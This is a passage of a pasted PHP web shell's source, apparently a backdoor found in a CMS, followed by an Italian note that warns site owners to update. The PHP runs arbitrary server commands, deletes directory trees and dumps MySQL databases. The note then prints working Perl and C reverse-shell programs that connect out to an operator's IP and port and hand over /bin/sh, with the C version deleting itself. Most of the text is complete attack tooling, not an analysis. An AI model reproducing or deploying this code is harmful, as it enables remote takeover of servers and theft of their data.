  1417. while (!feof($pipes[2])) {
  1418. echo fgets($pipes[2], 1024);
  1419. }
  1420. fclose($pipes[2]);
  1421. proc_close($process);
  1422. }
  1423. } else {
  1424. echo(execute($command));
  1425. }
  1426. p('</pre>');
  1427. }
  1428. }//end shell
  1429.  
  1430. elseif ($action == 'phpenv') {
  1431. $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
  1432. $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
  1433. !$dis_func && $dis_func = 'No';
  1434. $info = array(
  1435. 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
  1436. 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
  1437. 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
  1438. 4 => array('Server OS',PHP_OS),
  1439. 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
  1440. 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
  1441. 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
  1442. 8 => array('PHP run mode',strtoupper(php_sapi_name())),
  1443. 9 => array('The file path',__FILE__),
  1444.  
  1445. 10 => array('PHP Version',PHP_VERSION),
  1446. 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
  1447. 12 => array('Safe Mode',getcfg('safe_mode')),
  1448. 13 => array('Administrator',$adminmail),
  1449. 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
  1450. 15 => array('enable_dl',getcfg('enable_dl')),
  1451. 16 => array('display_errors',getcfg('display_errors')),
  1452. 17 => array('register_globals',getcfg('register_globals')),
  1453. 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
  1454. 19 => array('memory_limit',getcfg('memory_limit')),
  1455. 20 => array('post_max_size',getcfg('post_max_size')),
  1456. 21 => array('upload_max_filesize',$upsize),
  1457. 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
  1458. 23 => array('disable_functions',$dis_func),
  1459. );
  1460.  
  1461. if($phpvarname) {
  1462. m($phpvarname .' : '.getcfg($phpvarname));
  1463. }
  1464.  
  1465. formhead(array('title'=>'Server environment'));
  1466. makehide('action','phpenv');
  1467. makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
  1468. formfooter();
  1469.  
  1470. $hp = array(0=> 'Server', 1=> 'PHP');
  1471. for($a=0;$a<2;$a++) {
  1472. p('<h2>'.$hp[$a].' &raquo;</h2>');
  1473. p('<ul class="info">');
  1474. if ($a==0) {
  1475. for($i=1;$i<=9;$i++) {
  1476. p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1477. }
  1478. } elseif ($a == 1) {
  1479. for($i=10;$i<=23;$i++) {
  1480. p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1481. }
  1482. }
  1483. p('</ul>');
  1484. }
  1485. }//end phpenv
  1486.  
  1487. else {
  1488. m('Undefined Action');
  1489. }
  1490.  
  1491. ?>
  1492.  
  1493. </td></tr></table>
  1494. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
  1495. <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
  1496.  
  1497. </div>
  1498. </body>
  1499. </html>
  1500.  
  1501. <?php
  1502.  
  1503. /*======================================================
  1504. &#20989;&#25968;&#24211;
  1505. ======================================================*/
  1506.  
  1507. function m($msg) {
  1508. echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
  1509. echo $msg;
  1510. echo '</div>';
  1511. }
  1512. function scookie($key, $value, $life = 0, $prefix = 1) {
  1513. global $admin, $timestamp, $_SERVER;
  1514. $key = ($prefix ? $admin['cookiepre'] : '').$key;
  1515. $life = $life ? $life : $admin['cookielife'];
  1516. $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  1517. setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
  1518. }
  1519. function multi($num, $perpage, $curpage, $tablename) {
  1520. $multipage = '';
  1521. if($num > $perpage) {
  1522. $page = 10;
  1523. $offset = 5;
  1524. $pages = @ceil($num / $perpage);
  1525. if($page > $pages) {
  1526. $from = 1;
  1527. $to = $pages;
  1528. } else {
  1529. $from = $curpage - $offset;
  1530. $to = $curpage + $page - $offset - 1;
  1531. if($from < 1) {
  1532. $to = $curpage + 1 - $from;
  1533. $from = 1;
  1534. if(($to - $from) < $page && ($to - $from) < $pages) {
  1535. $to = $page;
  1536. }
  1537. } elseif($to > $pages) {
  1538. $from = $curpage - $pages + $to;
  1539. $to = $pages;
  1540. if(($to - $from) < $page && ($to - $from) < $pages) {
  1541. $from = $pages - $page + 1;
  1542. }
  1543. }
  1544. }
  1545. $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
  1546. for($i = $from; $i <= $to; $i++) {
  1547. $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
  1548. }
  1549. $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
  1550. $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
  1551. }
  1552. return $multipage;
  1553. }
  1554. // &#30331;&#38470;&#20837;&#21475;
  1555. function loginpage() {
  1556. ?>
  1557. <style type="text/css">
  1558. input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
  1559. </style>
  1560.  
  1561. <form method="POST" action="">
  1562. <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
  1563. <input type="hidden" name="doing" value="login">
  1564. <input type="submit" value="Login">
  1565. </form>
  1566. <?php
  1567. exit;
  1568. }//end loginpage()
  1569.  
  1570. function execute($cfe) {
  1571. $res = '';
  1572. if ($cfe) {
  1573. if(function_exists('exec')) {
  1574. @exec($cfe,$res);
  1575. $res = join("\n",$res);
  1576. } elseif(function_exists('shell_exec')) {
  1577. $res = @shell_exec($cfe);
  1578. } elseif(function_exists('system')) {
  1579. @ob_start();
  1580. @system($cfe);
  1581. $res = @ob_get_contents();
  1582. @ob_end_clean();
  1583. } elseif(function_exists('passthru')) {
  1584. @ob_start();
  1585. @passthru($cfe);
  1586. $res = @ob_get_contents();
  1587. @ob_end_clean();
  1588. } elseif(@is_resource($f = @popen($cfe,"r"))) {
  1589. $res = '';
  1590. while(!@feof($f)) {
  1591. $res .= @fread($f,1024);
  1592. }
  1593. @pclose($f);
  1594. }
  1595. }
  1596. return $res;
  1597. }
  1598. function which($pr) {
  1599. $path = execute("which $pr");
  1600. return ($path ? $path : $pr);
  1601. }
  1602.  
  1603. function cf($fname,$text){
  1604. if($fp=@fopen($fname,'w')) {
  1605. @fputs($fp,@base64_decode($text));
  1606. @fclose($fp);
  1607. }
  1608. }
  1609.  
  1610. // &#39029;&#38754;&#35843;&#35797;&#20449;&#24687;
  1611. function debuginfo() {
  1612. global $starttime;
  1613. $mtime = explode(' ', microtime());
  1614. $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  1615. echo 'Processed in '.$totaltime.' second(s)';
  1616. }
  1617.  
  1618. //&#36830;&#25509;&#25968;&#25454;&#24211;
  1619. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
  1620. if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
  1621. p('<h2>Can not connect to MySQL server</h2>');
  1622. exit;
  1623. }
  1624. if($link && $dbname) {
  1625. if (!@mysql_select_db($dbname, $link)) {
  1626. p('<h2>Database selected has error</h2>');
  1627. exit;
  1628. }
  1629. }
  1630. if($link && mysql_get_server_info() > '4.1') {
  1631. if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
  1632. q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
  1633. }
  1634. }
  1635. return $link;
  1636. }
  1637.  
  1638. // &#21435;&#25481;&#36716;&#20041;&#23383;&#31526;
  1639. function s_array(&$array) {
  1640. if (is_array($array)) {
  1641. foreach ($array as $k => $v) {
  1642. $array[$k] = s_array($v);
  1643. }
  1644. } else if (is_string($array)) {
  1645. $array = stripslashes($array);
  1646. }
  1647. return $array;
  1648. }
  1649.  
  1650. // &#28165;&#38500;HTML&#20195;&#30721;
  1651. function html_clean($content) {
  1652. $content = htmlspecialchars($content);
  1653. $content = str_replace("\n", "<br />", $content);
  1654. $content = str_replace(" ", "&nbsp;&nbsp;", $content);
  1655. $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
  1656. return $content;
  1657. }
  1658.  
  1659. // &#33719;&#21462;&#26435;&#38480;
  1660. function getChmod($filepath){
  1661. return substr(base_convert(@fileperms($filepath),10,8),-4);
  1662. }
  1663.  
  1664. function getPerms($filepath) {
  1665. $mode = @fileperms($filepath);
  1666. if (($mode & 0xC000) === 0xC000) {$type = 's';}
  1667. elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
  1668. elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
  1669. elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
  1670. elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
  1671. elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
  1672. elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
  1673. else {$type = '?';}
  1674.  
  1675. $owner['read'] = ($mode & 00400) ? 'r' : '-';
  1676. $owner['write'] = ($mode & 00200) ? 'w' : '-';
  1677. $owner['execute'] = ($mode & 00100) ? 'x' : '-';
  1678. $group['read'] = ($mode & 00040) ? 'r' : '-';
  1679. $group['write'] = ($mode & 00020) ? 'w' : '-';
  1680. $group['execute'] = ($mode & 00010) ? 'x' : '-';
  1681. $world['read'] = ($mode & 00004) ? 'r' : '-';
  1682. $world['write'] = ($mode & 00002) ? 'w' : '-';
  1683. $world['execute'] = ($mode & 00001) ? 'x' : '-';
  1684.  
  1685. if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
  1686. if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
  1687. if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
  1688.  
  1689. return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
  1690. }
  1691.  
  1692. function getUser($filepath) {
  1693. if (function_exists('posix_getpwuid')) {
  1694. $array = @posix_getpwuid(@fileowner($filepath));
  1695. if ($array && is_array($array)) {
  1696. return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
  1697. }
  1698. }
  1699. return '';
  1700. }
  1701.  
  1702. // &#21024;&#38500;&#30446;&#24405;
  1703. function deltree($deldir) {
  1704. $mydir=@dir($deldir);
  1705. while($file=$mydir->read()) {
  1706. if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
  1707. @chmod($deldir.'/'.$file,0777);
  1708. deltree($deldir.'/'.$file);
  1709. }
  1710. if (is_file($deldir.'/'.$file)) {
  1711. @chmod($deldir.'/'.$file,0777);
  1712. @unlink($deldir.'/'.$file);
  1713. }
  1714. }
  1715. $mydir->close();
  1716. @chmod($deldir,0777);
  1717. return @rmdir($deldir) ? 1 : 0;
  1718. }
  1719.  
  1720. // &#34920;&#26684;&#34892;&#38388;&#30340;&#32972;&#26223;&#33394;&#26367;&#25442;
  1721. function bg() {
  1722. global $bgc;
  1723. return ($bgc++%2==0) ? 'alt1' : 'alt2';
  1724. }
  1725.  
  1726. // &#33719;&#21462;&#24403;&#21069;&#30340;&#25991;&#20214;&#31995;&#32479;&#36335;&#24452;
  1727. function getPath($scriptpath, $nowpath) {
  1728. if ($nowpath == '.') {
  1729. $nowpath = $scriptpath;
  1730. }
  1731. $nowpath = str_replace('\\', '/', $nowpath);
  1732. $nowpath = str_replace('//', '/', $nowpath);
  1733. if (substr($nowpath, -1) != '/') {
  1734. $nowpath = $nowpath.'/';
  1735. }
  1736. return $nowpath;
  1737. }
  1738.  
  1739. // &#33719;&#21462;&#24403;&#21069;&#30446;&#24405;&#30340;&#19978;&#32423;&#30446;&#24405;
  1740. function getUpPath($nowpath) {
  1741. $pathdb = explode('/', $nowpath);
  1742. $num = count($pathdb);
  1743. if ($num > 2) {
  1744. unset($pathdb[$num-1],$pathdb[$num-2]);
  1745. }
  1746. $uppath = implode('/', $pathdb).'/';
  1747. $uppath = str_replace('//', '/', $uppath);
  1748. return $uppath;
  1749. }
  1750.  
  1751. // &#26816;&#26597;PHP&#37197;&#32622;&#21442;&#25968;
  1752. function getcfg($varname) {
  1753. $result = get_cfg_var($varname);
  1754. if ($result == 0) {
  1755. return 'No';
  1756. } elseif ($result == 1) {
  1757. return 'Yes';
  1758. } else {
  1759. return $result;
  1760. }
  1761. }
  1762.  
  1763. // &#26816;&#26597;&#20989;&#25968;&#24773;&#20917;
  1764. function getfun($funName) {
  1765. return (false !== function_exists($funName)) ? 'Yes' : 'No';
  1766. }
  1767.  
  1768. function GetList($dir){
  1769. global $dirdata,$j,$nowpath;
  1770. !$j && $j=1;
  1771. if ($dh = opendir($dir)) {
  1772. while ($file = readdir($dh)) {
  1773. $f=str_replace('//','/',$dir.'/'.$file);
  1774. if($file!='.' && $file!='..' && is_dir($f)){
  1775. if (is_writable($f)) {
  1776. $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
  1777. $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
  1778. $dirdata[$j]['dirchmod']=getChmod($f);
  1779. $dirdata[$j]['dirperm']=getPerms($f);
  1780. $dirdata[$j]['dirlink']=ue($dir);
  1781. $dirdata[$j]['server_link']=$f;
  1782. $dirdata[$j]['client_link']=ue($f);
  1783. $j++;
  1784. }
  1785. GetList($f);
  1786. }
  1787. }
  1788. closedir($dh);
  1789. clearstatcache();
  1790. return $dirdata;
  1791. } else {
  1792. return array();
  1793. }
  1794. }
  1795.  
  1796. function qy($sql) {
  1797. //echo $sql.'<br>';
  1798. $res = $error = '';
  1799. if(!$res = @mysql_query($sql)) {
  1800. return 0;
  1801. } else if(is_resource($res)) {
  1802. return 1;
  1803. } else {
  1804. return 2;
  1805. }
  1806. return 0;
  1807. }
  1808.  
  1809. function q($sql) {
  1810. return @mysql_query($sql);
  1811. }
  1812.  
  1813. function fr($qy){
  1814. mysql_free_result($qy);
  1815. }
  1816.  
  1817. function sizecount($size) {
  1818. if($size > 1073741824) {
  1819. $size = round($size / 1073741824 * 100) / 100 . ' G';
  1820. } elseif($size > 1048576) {
  1821. $size = round($size / 1048576 * 100) / 100 . ' M';
  1822. } elseif($size > 1024) {
  1823. $size = round($size / 1024 * 100) / 100 . ' K';
  1824. } else {
  1825. $size = $size . ' B';
  1826. }
  1827. return $size;
  1828. }
  1829.  
  1830. // &#21387;&#32553;&#25171;&#21253;&#31867;
  1831. class PHPZip{
  1832. var $out='';
  1833. function PHPZip($dir) {
  1834. if (@function_exists('gzcompress')) {
  1835. $curdir = getcwd();
  1836. if (is_array($dir)) $filelist = $dir;
  1837. else{
  1838. $filelist=$this -> GetFileList($dir);//&#25991;&#20214;&#21015;&#34920;
  1839. foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
  1840. }
  1841. if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
  1842. else chdir($curdir);
  1843. if (count($filelist)>0){
  1844. foreach($filelist as $filename){
  1845. if (is_file($filename)){
  1846. $fd = fopen ($filename, 'r');
  1847. $content = @fread ($fd, filesize($filename));
  1848. fclose ($fd);
  1849. if (is_array($dir)) $filename = basename($filename);
  1850. $this -> addFile($content, $filename);
  1851. }
  1852. }
  1853. $this->out = $this -> file();
  1854. chdir($curdir);
  1855. }
  1856. return 1;
  1857. }
  1858. else return 0;
  1859. }
  1860.  
  1861. // &#33719;&#24471;&#25351;&#23450;&#30446;&#24405;&#25991;&#20214;&#21015;&#34920;
  1862. function GetFileList($dir){
  1863. static $a;
  1864. if (is_dir($dir)) {
  1865. if ($dh = opendir($dir)) {
  1866. while ($file = readdir($dh)) {
  1867. if($file!='.' && $file!='..'){
  1868. $f=$dir .'/'. $file;
  1869. if(is_dir($f)) $this->GetFileList($f);
  1870. $a[]=$f;
  1871. }
  1872. }
  1873. closedir($dh);
  1874. }
  1875. }
  1876. return $a;
  1877. }
  1878.  
  1879. var $datasec = array();
  1880. var $ctrl_dir = array();
  1881. var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  1882. var $old_offset = 0;
  1883.  
  1884. function unix2DosTime($unixtime = 0) {
  1885. $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  1886. if ($timearray['year'] < 1980) {
  1887. $timearray['year'] = 1980;
  1888. $timearray['mon'] = 1;
  1889. $timearray['mday'] = 1;
  1890. $timearray['hours'] = 0;
  1891. $timearray['minutes'] = 0;
  1892. $timearray['seconds'] = 0;
  1893. } // end if
  1894. return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  1895. ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  1896. }
  1897.  
  1898. function addFile($data, $name, $time = 0) {
  1899. $name = str_replace('\\', '/', $name);
  1900.  
  1901. $dtime = dechex($this->unix2DosTime($time));
  1902. $hexdtime = '\x' . $dtime[6] . $dtime[7]
  1903. . '\x' . $dtime[4] . $dtime[5]
  1904. . '\x' . $dtime[2] . $dtime[3]
  1905. . '\x' . $dtime[0] . $dtime[1];
  1906. eval('$hexdtime = "' . $hexdtime . '";');
  1907. $fr = "\x50\x4b\x03\x04";
  1908. $fr .= "\x14\x00";
  1909. $fr .= "\x00\x00";
  1910. $fr .= "\x08\x00";
  1911. $fr .= $hexdtime;
  1912.  
  1913. $unc_len = strlen($data);
  1914. $crc = crc32($data);
  1915. $zdata = gzcompress($data);
  1916. $c_len = strlen($zdata);
  1917. $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  1918. $fr .= pack('V', $crc);
  1919. $fr .= pack('V', $c_len);
  1920. $fr .= pack('V', $unc_len);
  1921. $fr .= pack('v', strlen($name));
  1922. $fr .= pack('v', 0);
  1923. $fr .= $name;
  1924. $fr .= $zdata;
  1925. $fr .= pack('V', $crc);
  1926. $fr .= pack('V', $c_len);
  1927. $fr .= pack('V', $unc_len);
  1928.  
  1929. $this -> datasec[] = $fr;
  1930. $new_offset = strlen(implode('', $this->datasec));
  1931.  
  1932. $cdrec = "\x50\x4b\x01\x02";
  1933. $cdrec .= "\x00\x00";
  1934. $cdrec .= "\x14\x00";
  1935. $cdrec .= "\x00\x00";
  1936. $cdrec .= "\x08\x00";
  1937. $cdrec .= $hexdtime;
  1938. $cdrec .= pack('V', $crc);
  1939. $cdrec .= pack('V', $c_len);
  1940. $cdrec .= pack('V', $unc_len);
  1941. $cdrec .= pack('v', strlen($name) );
  1942. $cdrec .= pack('v', 0 );
  1943. $cdrec .= pack('v', 0 );
  1944. $cdrec .= pack('v', 0 );
  1945. $cdrec .= pack('v', 0 );
  1946. $cdrec .= pack('V', 32 );
  1947. $cdrec .= pack('V', $this -> old_offset );
  1948. $this -> old_offset = $new_offset;
  1949. $cdrec .= $name;
  1950.  
  1951. $this -> ctrl_dir[] = $cdrec;
  1952. }
  1953.  
  1954. function file() {
  1955. $data = implode('', $this -> datasec);
  1956. $ctrldir = implode('', $this -> ctrl_dir);
  1957. return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
  1958. }
  1959. }
  1960.  
  1961. // &#22791;&#20221;&#25968;&#25454;&#24211;
  1962. function sqldumptable($table, $fp=0) {
  1963. $tabledump = "DROP TABLE IF EXISTS $table;\n";
  1964. $tabledump .= "CREATE TABLE $table (\n";
  1965.  
  1966. $firstfield=1;
  1967.  
  1968. $fields = q("SHOW FIELDS FROM $table");
  1969. while ($field = mysql_fetch_array($fields)) {
  1970. if (!$firstfield) {
  1971. $tabledump .= ",\n";
  1972. } else {
  1973. $firstfield=0;
  1974. }
  1975. $tabledump .= " $field[Field] $field[Type]";
  1976. if (!empty($field["Default"])) {
  1977. $tabledump .= " DEFAULT '$field[Default]'";
  1978. }
  1979. if ($field['Null'] != "YES") {
  1980. $tabledump .= " NOT NULL";
  1981. }
  1982. if ($field['Extra'] != "") {
  1983. $tabledump .= " $field[Extra]";
  1984. }
  1985. }
  1986. fr($fields);
  1987.  
  1988. $keys = q("SHOW KEYS FROM $table");
  1989. while ($key = mysql_fetch_array($keys)) {
  1990. $kname=$key['Key_name'];
  1991. if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
  1992. $kname="UNIQUE|$kname";
  1993. }
  1994. if(!is_array($index[$kname])) {
  1995. $index[$kname] = array();
  1996. }
  1997. $index[$kname][] = $key['Column_name'];
  1998. }
  1999. fr($keys);
  2000.  
  2001. while(list($kname, $columns) = @each($index)) {
  2002. $tabledump .= ",\n";
  2003. $colnames=implode($columns,",");
  2004.  
  2005. if ($kname == "PRIMARY") {
  2006. $tabledump .= " PRIMARY KEY ($colnames)";
  2007. } else {
  2008. if (substr($kname,0,6) == "UNIQUE") {
  2009. $kname=substr($kname,7);
  2010. }
  2011. $tabledump .= " KEY $kname ($colnames)";
  2012. }
  2013. }
  2014.  
  2015. $tabledump .= "\n);\n\n";
  2016. if ($fp) {
  2017. fwrite($fp,$tabledump);
  2018. } else {
  2019. echo $tabledump;
  2020. }
  2021.  
  2022. $rows = q("SELECT * FROM $table");
  2023. $numfields = mysql_num_fields($rows);
  2024. while ($row = mysql_fetch_array($rows)) {
  2025. $tabledump = "INSERT INTO $table VALUES(";
  2026.  
  2027. $fieldcounter=-1;
  2028. $firstfield=1;
  2029. while (++$fieldcounter<$numfields) {
  2030. if (!$firstfield) {
  2031. $tabledump.=", ";
  2032. } else {
  2033. $firstfield=0;
  2034. }
  2035.  
  2036. if (!isset($row[$fieldcounter])) {
  2037. $tabledump .= "NULL";
  2038. } else {
  2039. $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
  2040. }
  2041. }
  2042.  
  2043. $tabledump .= ");\n";
  2044.  
  2045. if ($fp) {
  2046. fwrite($fp,$tabledump);
  2047. } else {
  2048. echo $tabledump;
  2049. }
  2050. }
  2051. fr($rows);
  2052. if ($fp) {
  2053. fwrite($fp,"\n");
  2054. } else {
  2055. echo "\n";
  2056. }
  2057. }
  2058.  
  2059. function ue($str){
  2060. return urlencode($str);
  2061. }
  2062.  
  2063. function p($str){
  2064. echo $str."\n";
  2065. }
  2066.  
  2067. function tbhead() {
  2068. p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  2069. }
  2070. function tbfoot(){
  2071. p('</table>');
  2072. }
  2073.  
  2074. function makehide($name,$value=''){
  2075. p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
  2076. }
  2077.  
  2078. function makeinput($arg = array()){
  2079. $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
  2080. $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
  2081. !$arg['type'] && $arg['type'] = 'text';
  2082. $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  2083. $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
  2084. if ($arg['newline']) {
  2085. p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
  2086. } else {
  2087. p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
  2088. }
  2089. }
  2090.  
  2091. function makeselect($arg = array()){
  2092. if ($arg['onchange']) {
  2093. $onchange = 'onchange="'.$arg['onchange'].'"';
  2094. }
  2095. $arg['title'] = $arg['title'] ? $arg['title'] : '';
  2096. if ($arg['newline']) p('<p>');
  2097. p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
  2098. if (is_array($arg['option'])) {
  2099. foreach ($arg['option'] as $key=>$value) {
  2100. if ($arg['selected']==$key) {
  2101. p("<option value=\"$key\" selected>$value</option>");
  2102. } else {
  2103. p("<option value=\"$key\">$value</option>");
  2104. }
  2105. }
  2106. }
  2107. p("</select>");
  2108. if ($arg['newline']) p('</p>');
  2109. }
  2110. function formhead($arg = array()) {
  2111. !$arg['method'] && $arg['method'] = 'post';
  2112. !$arg['action'] && $arg['action'] = $self;
  2113. $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
  2114. !$arg['name'] && $arg['name'] = 'form1';
  2115. p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
  2116. if ($arg['title']) {
  2117. p('<h2>'.$arg['title'].' &raquo;</h2>');
  2118. }
  2119. }
  2120.  
  2121. function maketext($arg = array()){
  2122. !$arg['cols'] && $arg['cols'] = 100;
  2123. !$arg['rows'] && $arg['rows'] = 25;
  2124. $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  2125. p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
  2126. }
  2127.  
  2128. function formfooter($name = ''){
  2129. !$name && $name = 'submit';
  2130. p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
  2131. p('</form>');
  2132. }
  2133.  
  2134. function formfoot(){
  2135. p('</form>');
  2136. }
  2137.  
  2138. // &#35843;&#35797;&#20989;&#25968;
  2139. function pr($a) {
  2140. echo '<pre>';
  2141. print_r($a);
  2142. echo '</pre>';
  2143. }
  2144.  
  2145. ?><?
  2146.  
  2147.  
  2148. ----------------------------------------------------------------------------------------------
  2149.  
  2150.  
  2151. l' escuzione dell' action "backconnect" crea inoltre una backdoor in perl o C compilato ... bellissimo
  2152. come qui spiegato:
  2153.  
  2154. if ($start && $yourip && $yourport && $use){
  2155. if ($use == 'perl') {
  2156. cf('/tmp/angel_bc',$back_connect);
  2157. $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
  2158. } else {
  2159. cf('/tmp/angel_bc.c',$back_connect_c);
  2160. $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  2161. @unlink('/tmp/angel_bc.c');
  2162. $res = execute("/tmp/angel_bc $yourip $yourport &");
  2163. }
  2164. m("Now script try connect to $yourip port $yourport ...");
  2165. }
  2166.  
  2167. i file decodificati sono i seguenti:
  2168.  
  2169. 1) IN PERL
  2170. #!/usr/bin/perl
  2171. use Socket;
  2172. $cmd= "lynx";
  2173. $system= 'echo "`uname -a`";echo "`id`";/bin/sh';
  2174. $0=$cmd;
  2175. $target=$ARGV[0];
  2176. $port=$ARGV[1];
  2177. $iaddr=inet_aton($target) || die("Error: $!\n");
  2178. $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
  2179. $proto=getprotobyname('tcp');
  2180. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  2181. connect(SOCKET, $paddr) || die("Error: $!\n");
  2182. open(STDIN, ">&SOCKET");
  2183. open(STDOUT, ">&SOCKET");
  2184. open(STDERR, ">&SOCKET");
  2185. system($system);
  2186. close(STDIN);
  2187. close(STDOUT);
  2188. close(STDERR);
  2189.  
  2190.  
  2191. 2) IN C
  2192. #include <stdio.h>
  2193. #include <sys/socket.h>
  2194. #include <netinet/in.h>
  2195. int main(int argc, char *argv[])
  2196. {
  2197. int fd;
  2198. struct sockaddr_in sin;
  2199. char rms[21]="rm -f ";
  2200. daemon(1,0);
  2201. sin.sin_family = AF_INET;
  2202. sin.sin_port = htons(atoi(argv[2]));
  2203. sin.sin_addr.s_addr = inet_addr(argv[1]);
  2204. bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
  2205. fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
  2206. if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
  2207. perror("[-] connect()");
  2208. exit(0);
  2209. }
  2210. strcat(rms, argv[0]);
  2211. system(rms);
  2212. dup2(fd, 0);
  2213. dup2(fd, 1);
  2214. dup2(fd, 2);
  2215. execl("/bin/sh","sh -i", NULL);
  2216. close(fd);
  2217. }
  2218.  
  2219.  
  2220. AGGIORNATE LA VOSTRA INSTALLAZIONE O CAMBIATE CMS
  2221.  
  2222. AGOW 4 life
  2223.  
  2224. --
  2225. class simone extends AGOW {$aka = "#ffffff"; $url ="http://www.agow.org/";}
